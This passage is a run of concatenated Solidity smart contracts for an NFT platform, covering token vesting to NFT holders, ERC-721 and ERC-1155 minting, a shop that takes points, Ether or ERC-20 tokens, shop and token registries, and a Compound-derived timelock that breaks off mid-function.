(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// TRUFFLE
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract SuperNFTVestCliff {
using SafeMath for uint256;
using Address for address;
address public tokenAddress;
address public nftAddress;
event Claimed(
address owner,
uint256 nftId,
address beneficiary,
uint256 amount,
uint256 index
);
event ClaimCreated(
address owner,
uint256 nftId,
uint256 totalAmount,
uint256 index
);
struct Claim {
address owner;
uint256 nftId;
uint256[] timePeriods;
uint256[] tokenAmounts;
uint256 totalAmount;
uint256 amountClaimed;
uint256 periodsClaimed;
}
Claim[] private claims;
mapping(address => uint256[]) private _ownerClaims;
mapping(uint256 => uint256[]) private _nftClaims;
constructor(address _tokenAddress, address _nftAddress) public {
require(
_tokenAddress.isContract(),
"_tokenAddress must be a contract address"
);
require(
_nftAddress.isContract(),
"_nftAddress must be a contract address"
);
tokenAddress = _tokenAddress;
nftAddress = _nftAddress;
}
/**
* Get Owner Claims
*
* @param owner - Claim Owner Address
*/
function ownerClaims(address owner)
external
view
returns (uint256[] memory)
{
require(owner != address(0), "Owner address cannot be 0");
return _ownerClaims[owner];
}
/**
* Get NFT Claims
*
* @param nftId - NFT ID
*/
function nftClaims(uint256 nftId) external view returns (uint256[] memory) {
require(nftId != 0, "nftId cannot be 0");
return _nftClaims[nftId];
}
/**
* Get Amount Claimed
*
* @param index - Claim Index
*/
function claimed(uint256 index) external view returns (uint256) {
return claims[index].amountClaimed;
}
/**
* Get Total Claim Amount
*
* @param index - Claim Index
*/
function totalAmount(uint256 index) external view returns (uint256) {
return claims[index].totalAmount;
}
/**
* Get Time Periods of Claim
*
* @param index - Claim Index
*/
function timePeriods(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].timePeriods;
}
/**
* Get Token Amounts of Claim
*
* @param index - Claim Index
*/
function tokenAmounts(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].tokenAmounts;
}
/**
* Create a Claim - To Vest Tokens to NFT
*
* @param _nftId - Tokens will be claimed by owner of _nftId
* @param _timePeriods - uint256 Array of Epochs
* @param _tokenAmounts - uin256 Array of Amounts to transfer at each time period
*/
function createClaim(
uint256 _nftId,
uint256[] memory _timePeriods,
uint256[] memory _tokenAmounts
) public returns (bool) {
require(_nftId != 0, "Cannot Vest to NFT 0");
require(
_timePeriods.length == _tokenAmounts.length,
"_timePeriods & _tokenAmounts length mismatch"
);
// Calculate total amount
uint256 _totalAmount = 0;
for (uint256 i = 0; i < _tokenAmounts.length; i++) {
_totalAmount = _totalAmount.add(_tokenAmounts[i]);
}
require(_totalAmount > 0, "Provide Token Amounts to Vest");
require(
ERC20(tokenAddress).allowance(msg.sender, address(this)) >=
_totalAmount,
"Provide token allowance to SuperStreamClaim contract"
);
// Transfer Tokens to SuperStreamClaim
ERC20(tokenAddress).transferFrom(
msg.sender,
address(this),
_totalAmount
);
// Create Claim
Claim memory claim =
Claim({
owner: msg.sender,
nftId: _nftId,
timePeriods: _timePeriods,
tokenAmounts: _tokenAmounts,
totalAmount: _totalAmount,
amountClaimed: 0,
periodsClaimed: 0
});
claims.push(claim);
uint256 index = claims.length.sub(1);
// Map Claim Index to Owner & Beneficiary
_ownerClaims[msg.sender].push(index);
_nftClaims[_nftId].push(index);
emit ClaimCreated(msg.sender, _nftId, _totalAmount, index);
return true;
}
/**
* Claim Tokens
*
* @param index - Index of the Claim
*/
function claim(uint256 index) external {
Claim storage claim = claims[index];
// Check if msg.sender is the owner of the NFT
require(
msg.sender == ERC721(nftAddress).ownerOf(claim.nftId),
"msg.sender must own the NFT"
);
// Check if anything is left to release
require(
claim.periodsClaimed < claim.timePeriods.length,
"Nothing to release"
);
// Calculate releasable amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
claim.periodsClaimed = claim.periodsClaimed.add(1);
} else {
break;
}
}
// If there is any amount to release
require(amount > 0, "Nothing to release");
// Transfer Tokens from Owner to Beneficiary
ERC20(tokenAddress).transfer(msg.sender, amount);
claim.amountClaimed = claim.amountClaimed.add(amount);
emit Claimed(claim.owner, claim.nftId, msg.sender, amount, index);
}
/**
* Get Amount of tokens that can be claimed
*
* @param index - Index of the Claim
*/
function claimableAmount(uint256 index) public view returns (uint256) {
Claim storage claim = claims[index];
// Calculate Claimable Amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
} else {
break;
}
}
return amount;
}
}
pragma solidity ^0.6.2;
// REMIX
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/token/ERC721/ERC721.sol";
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/token/ERC20/ERC20.sol";
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/utils/Counters.sol";
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/utils/EnumerableSet.sol";
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/math/SafeMath.sol";
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/utils/Address.sol";
// TRUFFLE
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
// SuperNFT SMART CONTRACT
contract SuperNFT is ERC721 {
using EnumerableSet for EnumerableSet.UintSet;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(string => uint8) hashes;
/**
* Mint + Issue NFT
*
* @param recipient - NFT will be issued to recipient
* @param hash - Artwork IPFS hash
* @param data - Artwork URI/Data
*/
function issueToken(
address recipient,
string memory hash,
string memory data
) public returns (uint256) {
require(hashes[hash] != 1);
hashes[hash] = 1;
_tokenIds.increment();
uint256 newTokenId = _tokenIds.current();
_mint(recipient, newTokenId);
_setTokenURI(newTokenId, data);
return newTokenId;
}
constructor() public ERC721("SUPER NFT", "SNFT") {}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
/**
@title An OpenSea delegate proxy contract which we include for whitelisting.
@author OpenSea
*/
contract OwnableDelegateProxy { }
/**
@title An OpenSea proxy registry contract which we include for whitelisting.
@author OpenSea
*/
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
@title An ERC-1155 item creation contract which specifies an associated
FeeOwner who receives royalties from sales of created items.
@author Tim Clancy
The fee set by the FeeOwner on this Item is honored by Shop contracts.
In addition to the inherited OpenZeppelin dependency, this uses ideas from
the original ERC-1155 reference implementation.
*/
contract Fee1155NFT is ERC1155, Ownable {
using SafeMath for uint256;
/// A version number for this fee-bearing 1155 item contract's interface.
uint256 public version = 1;
/// The ERC-1155 URI for looking up item metadata using {id} substitution.
string public metadataUri;
/// A user-specified FeeOwner to receive a portion of item sale earnings.
FeeOwner public feeOwner;
/// Specifically whitelist an OpenSea proxy registry address.
address public proxyRegistryAddress;
/// A counter to enforce unique IDs for each item group minted.
uint256 public nextItemGroupId;
/// This mapping tracks the number of unique items within each item group.
mapping (uint256 => uint256) public itemGroupSizes;
/// An event for tracking the creation of an item group.
event ItemGroupCreated(uint256 itemGroupId, uint256 itemGroupSize,
address indexed creator);
/**
Construct a new ERC-1155 item with an associated FeeOwner fee.
@param _uri The metadata URI to perform token ID substitution in.
@param _feeOwner The address of a FeeOwner who receives earnings from this
item.
*/
constructor(string memory _uri, FeeOwner _feeOwner, address _proxyRegistryAddress) public ERC1155(_uri) {
metadataUri = _uri;
feeOwner = _feeOwner;
proxyRegistryAddress = _proxyRegistryAddress;
nextItemGroupId = 0;
}
/**
An override to whitelist the OpenSea proxy contract to enable gas-free
listings. This function returns true if `_operator` is approved to transfer
items owned by `_owner`.
@param _owner The owner of items to check for transfer ability.
@param _operator The potential transferrer of `_owner`'s items.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return ERC1155.isApprovedForAll(_owner, _operator);
}
/**
Allow the item owner to update the metadata URI of this collection.
@param _uri The new URI to update to.
*/
function setURI(string calldata _uri) external onlyOwner {
metadataUri = _uri;
}
/**
Create a new NFT item group of a specific size. NFTs within a group share a
group ID in the upper 128-bits of their full item ID. Within a group NFTs
can be distinguished for the purposes of serializing issue numbers.
@param recipient The address to receive all NFTs within the newly-created group.
@param groupSize The number of individual NFTs to create within the group.
@param data Any associated data to use on items minted in this transaction.
*/
function createNFT(address recipient, uint256 groupSize, bytes calldata data) external onlyOwner returns (uint256) {
require(groupSize > 0,
"You cannot create an empty item group.");
// Create an item group of requested size using the next available ID.
uint256 shiftedGroupId = nextItemGroupId << 128;
itemGroupSizes[shiftedGroupId] = groupSize;
// Record the supply cap of each item being created in the group.
uint256[] memory itemIds = new uint256[](groupSize);
uint256[] memory amounts = new uint256[](groupSize);
for (uint256 i = 1; i <= groupSize; i++) {
itemIds[i - 1] = shiftedGroupId.add(i);
amounts[i - 1] = 1;
}
// Mint the entire batch of items.
_mintBatch(recipient, itemIds, amounts, data);
// Increment our next item group ID and return our created item group ID.
nextItemGroupId = nextItemGroupId.add(1);
emit ItemGroupCreated(shiftedGroupId, groupSize, msg.sender);
return shiftedGroupId;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
import "./Fee1155.sol";
import "./Staker.sol";
/**
@title A simple Shop contract for selling ERC-1155s for points, Ether, or
ERC-20 tokens.
@author Tim Clancy
This contract allows its owner to list NFT items for sale. NFT items are
purchased by users using points spent on a corresponding Staker contract.
The Shop must be approved by the owner of the Staker contract.
*/
contract Shop1155 is ERC1155Holder, Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// A version number for this Shop contract's interface.
uint256 public version = 1;
/// A user-specified, descriptive name for this Shop.
string public name;
/// A user-specified FeeOwner to receive a portion of Shop earnings.
FeeOwner public feeOwner;
/// A user-specified Staker contract to spend user points on.
Staker[] public stakers;
/**
This struct tracks information about a single asset with associated price
that an item is being sold in the shop for.
@param assetType A sentinel value for the specific type of asset being used.
0 = non-transferrable points from a Staker; see `asset`.
1 = Ether.
2 = an ERC-20 token, see `asset`.
@param asset Some more specific information about the asset to charge in.
If the `assetType` is 0, we convert the given address to an
integer index for finding a specific Staker from `stakers`.
If the `assetType` is 1, we ignore this field.
If the `assetType` is 2, we use this address to find the ERC-20
token that we should be specifically charging with.
@param price The amount of the specified `assetType` and `asset` to charge.
*/
struct PricePair {
uint256 assetType;
address asset;
uint256 price;
}
/**
This struct tracks information about each item of inventory in the Shop.
@param token The address of a Fee1155 collection contract containing the
item we want to sell.
@param id The specific ID of the item within the Fee1155 from `token`.
@param amount The amount of this specific item on sale in the Shop.
*/
struct ShopItem {
Fee1155 token;
uint256 id;
uint256 amount;
}
// The Shop's inventory of items for sale.
uint256 nextItemId;
mapping (uint256 => ShopItem) public inventory;
mapping (uint256 => uint256) public pricePairLengths;
mapping (uint256 => mapping (uint256 => PricePair)) public prices;
/**
Construct a new Shop by providing it a name, FeeOwner, optional Stakers. Any
attached Staker contracts must also approve this Shop to spend points.
@param _name The name of the Shop contract.
@param _feeOwner The address of the FeeOwner due a portion of Shop earnings.
@param _stakers The addresses of any Stakers to permit spending points from.
*/
constructor(string memory _name, FeeOwner _feeOwner, Staker[] memory _stakers) public {
name = _name;
feeOwner = _feeOwner;
stakers = _stakers;
nextItemId = 0;
}
/**
Returns the length of the Staker array.
@return the length of the Staker array.
*/
function getStakerCount() external view returns (uint256) {
return stakers.length;
}
/**
Returns the number of items in the Shop's inventory.
@return the number of items in the Shop's inventory.
*/
function getInventoryCount() external view returns (uint256) {
return nextItemId;
}
/**
Allows the Shop owner to add newly-supported Stakers for point spending.
@param _stakers The array of new Stakers to add.
*/
function addStakers(Staker[] memory _stakers) external onlyOwner {
for (uint256 i = 0; i < _stakers.length; i++) {
stakers.push(_stakers[i]);
}
}
/**
Allows the Shop owner to list a new set of NFT items for sale.
@param _pricePairs The asset address to price pairings to use for selling
each item.
@param _items The array of Fee1155 item contracts to sell from.
@param _ids The specific Fee1155 item IDs to sell.
@param _amounts The amount of inventory being listed for each item.
*/
function listItems(PricePair[] memory _pricePairs, Fee1155[] calldata _items, uint256[][] calldata _ids, uint256[][] calldata _amounts) external nonReentrant onlyOwner {
require(_items.length > 0,
"You must list at least one item.");
require(_items.length == _ids.length,
"Items length cannot be mismatched with IDs length.");
require(_items.length == _amounts.length,
"Items length cannot be mismatched with amounts length.");
// Iterate through every specified Fee1155 contract to list items.
for (uint256 i = 0; i < _items.length; i++) {
Fee1155 item = _items[i];
uint256[] memory ids = _ids[i];
uint256[] memory amounts = _amounts[i];
require(ids.length > 0,
"You must specify at least one item ID.");
require(ids.length == amounts.length,
"Item IDs length cannot be mismatched with amounts length.");
// For each Fee1155 contract, add the requested item IDs to the Shop.
for (uint256 j = 0; j < ids.length; j++) {
uint256 id = ids[j];
uint256 amount = amounts[j];
require(amount > 0,
"You cannot list an item with no starting amount.");
inventory[nextItemId + j] = ShopItem({
token: item,
id: id,
amount: amount
});
for (uint k = 0; k < _pricePairs.length; k++) {
prices[nextItemId + j][k] = _pricePairs[k];
}
pricePairLengths[nextItemId + j] = _pricePairs.length;
}
nextItemId = nextItemId.add(ids.length);
// Batch transfer the listed items to the Shop contract.
item.safeBatchTransferFrom(msg.sender, address(this), ids, amounts, "");
}
}
/**
Allows the Shop owner to remove items.
@param _itemId The id of the specific inventory item of this shop to remove.
@param _amount The amount of the specified item to remove.
*/
function removeItem(uint256 _itemId, uint256 _amount) external nonReentrant onlyOwner {
ShopItem storage item = inventory[_itemId];
require(item.amount >= _amount && item.amount != 0,
"There is not enough of your desired item to remove.");
inventory[_itemId].amount = inventory[_itemId].amount.sub(_amount);
item.token.safeTransferFrom(address(this), msg.sender, item.id, _amount, "");
}
/**
Allows the Shop owner to adjust the prices of an NFT item set.
@param _itemId The id of the specific inventory item of this shop to adjust.
@param _pricePairs The asset-price pairs at which to sell a single instance of the item.
*/
function changeItemPrice(uint256 _itemId, PricePair[] memory _pricePairs) external onlyOwner {
for (uint i = 0; i < _pricePairs.length; i++) {
prices[_itemId][i] = _pricePairs[i];
}
pricePairLengths[_itemId] = _pricePairs.length;
}
/**
Allows any user to purchase an item from this Shop provided they have enough
of the asset being used to purchase with.
@param _itemId The ID of the specific inventory item of this shop to buy.
@param _amount The amount of the specified item to purchase.
@param _assetId The index of the asset from the item's asset-price pairs to
attempt this purchase using.
*/
function purchaseItem(uint256 _itemId, uint256 _amount, uint256 _assetId) external nonReentrant payable {
ShopItem storage item = inventory[_itemId];
require(item.amount >= _amount && item.amount != 0,
"There is not enough of your desired item in stock to purchase.");
require(_assetId < pricePairLengths[_itemId],
"Your specified asset ID is not valid.");
PricePair memory sellingPair = prices[_itemId][_assetId];
// If the sentinel value for the point asset type is found, sell for points.
// This involves converting the asset from an address to a Staker index.
if (sellingPair.assetType == 0) {
uint256 stakerIndex = uint256(sellingPair.asset);
stakers[stakerIndex].spendPoints(msg.sender, sellingPair.price.mul(_amount));
inventory[_itemId].amount = inventory[_itemId].amount.sub(_amount);
item.token.safeTransferFrom(address(this), msg.sender, item.id, _amount, "");
// If the sentinel value for the Ether asset type is found, sell for Ether.
} else if (sellingPair.assetType == 1) {
uint256 etherPrice = sellingPair.price.mul(_amount);
require(msg.value >= etherPrice,
"You did not send enough Ether to complete this purchase.");
uint256 feePercent = feeOwner.fee();
uint256 feeValue = msg.value.mul(feePercent).div(100000);
uint256 itemRoyaltyPercent = item.token.feeOwner().fee();
uint256 royaltyValue = msg.value.mul(itemRoyaltyPercent).div(100000);
(bool success, ) = payable(feeOwner.owner()).call{ value: feeValue }("");
require(success, "Platform fee transfer failed.");
(success, ) = payable(item.token.feeOwner().owner()).call{ value: royaltyValue }("");
require(success, "Creator royalty transfer failed.");
(success, ) = payable(owner()).call{ value: msg.value.sub(feeValue).sub(royaltyValue) }("");
require(success, "Shop owner transfer failed.");
inventory[_itemId].amount = inventory[_itemId].amount.sub(_amount);
item.token.safeTransferFrom(address(this), msg.sender, item.id, _amount, "");
// Otherwise, attempt to sell for an ERC20 token.
} else {
IERC20 sellingAsset = IERC20(sellingPair.asset);
uint256 tokenPrice = sellingPair.price.mul(_amount);
require(sellingAsset.balanceOf(msg.sender) >= tokenPrice,
"You do not have enough token to complete this purchase.");
uint256 feePercent = feeOwner.fee();
uint256 feeValue = tokenPrice.mul(feePercent).div(100000);
uint256 itemRoyaltyPercent = item.token.feeOwner().fee();
uint256 royaltyValue = tokenPrice.mul(itemRoyaltyPercent).div(100000);
sellingAsset.safeTransferFrom(msg.sender, feeOwner.owner(), feeValue);
sellingAsset.safeTransferFrom(msg.sender, item.token.feeOwner().owner(), royaltyValue);
sellingAsset.safeTransferFrom(msg.sender, owner(), tokenPrice.sub(feeValue).sub(royaltyValue));
inventory[_itemId].amount = inventory[_itemId].amount.sub(_amount);
item.token.safeTransferFrom(address(this), msg.sender, item.id, _amount, "");
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./FeeOwner.sol";
import "./Shop1155.sol";
/**
@title A basic smart contract for tracking the ownership of SuperFarm Shops.
@author Tim Clancy
This is the governing registry of all SuperFarm Shop assets.
*/
contract FarmShopRecords is Ownable, ReentrancyGuard {
/// A version number for this record contract's interface.
uint256 public version = 1;
/// The current platform fee owner to force when creating Shops.
FeeOwner public platformFeeOwner;
/// A mapping for an array of all Shop1155s deployed by a particular address.
mapping (address => address[]) public shopRecords;
/// An event for tracking the creation of a new Shop.
event ShopCreated(address indexed shopAddress, address indexed creator);
/**
Construct a new registry of SuperFarm records with a specified platform fee owner.
@param _feeOwner The address of the FeeOwner due a portion of all Shop earnings.
*/
constructor(FeeOwner _feeOwner) public {
platformFeeOwner = _feeOwner;
}
/**
Allows the registry owner to update the platform FeeOwner to use upon Shop creation.
@param _feeOwner The address of the FeeOwner to make the new platform fee owner.
*/
function changePlatformFeeOwner(FeeOwner _feeOwner) external onlyOwner {
platformFeeOwner = _feeOwner;
}
/**
Create a Shop1155 on behalf of the owner calling this function. The Shop
supports immediately registering attached Stakers if provided.
@param _name The name of the Shop to create.
@param _stakers An array of Stakers to attach to the new Shop.
*/
function createShop(string calldata _name, Staker[] calldata _stakers) external nonReentrant returns (Shop1155) {
Shop1155 newShop = new Shop1155(_name, platformFeeOwner, _stakers);
// Transfer ownership of the new Shop to the user then store a reference.
newShop.transferOwnership(msg.sender);
address shopAddress = address(newShop);
shopRecords[msg.sender].push(shopAddress);
emit ShopCreated(shopAddress, msg.sender);
return newShop;
}
/**
Get the number of entries in the Shop records mapping for the given user.
@return The number of Shops added for a given address.
*/
function getShopCount(address _user) external view returns (uint256) {
return shopRecords[_user].length;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./Token.sol";
/**
@title A basic smart contract for tracking the ownership of SuperFarm Tokens.
@author Tim Clancy
This is the governing registry of all SuperFarm Token assets.
*/
contract FarmTokenRecords is Ownable, ReentrancyGuard {
/// A version number for this record contract's interface.
uint256 public version = 1;
/// A mapping for an array of all Tokens deployed by a particular address.
mapping (address => address[]) public tokenRecords;
/// An event for tracking the creation of a new Token.
event TokenCreated(address indexed tokenAddress, address indexed creator);
/**
Create a Token on behalf of the owner calling this function. The Token
supports immediate minting at the time of creation to particular addresses.
@param _name The name of the Token to create.
@param _ticker The ticker symbol of the Token to create.
@param _cap The supply cap of the Token.
@param _directMintAddresses An array of addresses to mint directly to.
@param _directMintAmounts An array of Token amounts to mint to keyed addresses.
*/
function createToken(string calldata _name, string calldata _ticker, uint256 _cap, address[] calldata _directMintAddresses, uint256[] calldata _directMintAmounts) external nonReentrant returns (Token) {
require(_directMintAddresses.length == _directMintAmounts.length,
"Direct mint addresses length cannot be mismatched with mint amounts length.");
// Create the token and optionally mint any specified addresses.
Token newToken = new Token(_name, _ticker, _cap);
for (uint256 i = 0; i < _directMintAddresses.length; i++) {
address directMintAddress = _directMintAddresses[i];
uint256 directMintAmount = _directMintAmounts[i];
newToken.mint(directMintAddress, directMintAmount);
}
// Transfer ownership of the new Token to the user then store a reference.
newToken.transferOwnership(msg.sender);
address tokenAddress = address(newToken);
tokenRecords[msg.sender].push(tokenAddress);
emit TokenCreated(tokenAddress, msg.sender);
return newToken;
}
/**
Allow a user to add an existing Token contract to the registry.
@param _tokenAddress The address of the Token contract to add for this user.
*/
function addToken(address _tokenAddress) external {
tokenRecords[msg.sender].push(_tokenAddress);
}
/**
Get the number of entries in the Token records mapping for the given user.
@return The number of Tokens added for a given address.
*/
function getTokenCount(address _user) external view returns (uint256) {
return tokenRecords[_user].length;
}
}
// SPDX-License-Identifier: BSD-3-Clause
// Modified from https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol
// Copyright 2020 Compound Labs, Inc.
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 2 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
receive() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return 'Transaction reverted silently';
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
